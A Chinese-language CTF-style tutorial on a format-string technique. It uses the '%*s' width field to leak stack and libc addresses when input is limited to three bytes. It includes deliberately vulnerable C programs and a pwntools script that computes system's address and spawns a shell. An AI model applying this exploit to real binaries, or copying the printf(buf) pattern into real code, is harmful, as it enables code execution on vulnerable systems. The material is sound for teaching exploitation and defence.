一种关于格式化字符串的新利用
字数 1080 2025-08-23 18:31:25
格式化字符串漏洞的新型利用技术:基于宽度字段的利用方法
1. 前言
传统的格式化字符串漏洞利用通常需要寻找偏移量进行任意地址读/写操作,然后使用工具如fmtstr_payload构造payload或手动修改GOT表等。但在存在输入长度限制等特殊条件下,传统方法可能失效。本文将介绍一种基于格式化字符串宽度字段的新型利用技术。
2. 格式化字符串基础回顾
格式化字符串基本格式:
%[parameter][flags][width][.precision][length]type
关键属性说明:
- parameter:
n$,获取格式化字符串中的指定参数 - width: 输出的最小宽度
- precision: 输出的最大长度
- type:
d/i: 有符号整数u: 无符号整数x/X: 16进制unsigned into: 8进制unsigned ints: 输出字符串c: 输出字符p: 输出指针地址n: 将已输出字符数写入指定地址%: 输出'%'字符
3. 新型利用技术原理
3.1 核心思想
利用格式化字符串中的width字段配合%s来实现栈/堆地址泄露,特别是在输入长度受限的情况下。
3.2 技术细节
当使用%*s格式时:
*表示宽度值从参数中获取- 在x86-64调用约定中,这个参数通常来自
rsi寄存器 rsi寄存器通常包含栈上的某个地址- 这个地址值会被用作输出宽度,导致大量填充字符输出
- 填充完成后,再使用
%s可以泄露栈上的内容
3.3 示例漏洞代码
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void do_printf() {
char buf[4];
if(scanf("%3s", buf) <= 0) exit(1);
printf("Here: ");
printf(buf);
}
void do_call() {
void (*ptr)(const char*);
if(scanf("%p", &ptr) <= 0) exit(1);
ptr("/bin/sh");
}
int main() {
int choice;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while(1) {
puts("1. printf");
puts("2. call");
if(scanf("%d", &choice) <= 0) break;
switch(choice) {
case 1: do_printf(); break;
case 2: do_call(); break;
default: puts("Invalid choice!"); exit(1);
}
}
return 0;
}
4. 利用方法
4.1 利用步骤
-
第一次调用
printf时输入%*s:- 利用
*获取rsi中的值作为宽度 - 产生大量填充字符输出
- 利用
-
第二次调用
printf时输入%s:- 泄露栈上的libc地址
- 计算libc基址
-
调用
do_call函数:- 输入计算出的system地址
- 获取shell
4.2 利用脚本示例
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './chal'
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendlineafter(b'call', b'1')
r.sendline('%*s')
r.sendlineafter(b'call', b'1')
r.sendline('%s')
libc_base = get_addr() - 0x1ec980
log.info("libc->"+hex(libc_base))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
dbg()
r.sendlineafter(b'call', b'2')
r.sendline(str(hex(libc_base + libc.sym['system'])))
r.interactive()
5. 其他利用变种
5.1 利用FILE结构体
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
FILE *fp;
char *buffer;
uint64_t i = 0x8d9e7e558877;
_Noreturn main() {
uint64_t *p;
p = &p;
setbuf(stdin, 0);
buffer = (char *)malloc(0x20 + 1);
fp = fopen("/dev/null", "wb");
fgets(buffer, 0x1f, stdin);
if(i != 0x8d9e7e558877) {
_exit(1337);
} else {
i = 1337;
fprintf(fp, buffer);
_exit(1);
}
}
5.2 利用ogg和libc
同样可以利用width字段获取栈地址进行覆盖。
6. 技术局限性
-
输出效率问题:
- 当使用libc地址作为宽度时,需要输出大量字符(如0x7fc1de40c000个)
- 实际每次只能输出0xfff个字节
- 导致利用过程缓慢,可能不适合比赛环境
-
普适性问题:
- 依赖于特定环境下的寄存器状态
- 不是所有情况下都能成功利用
7. 总结
这种新型利用技术通过格式化字符串的width字段实现了:
- 在严格输入限制下(如3字节)完成利用
- 无需传统偏移量计算
- 可绕过某些防护措施
虽然存在一定局限性,但在特定场景下可作为有效的非预期解方案。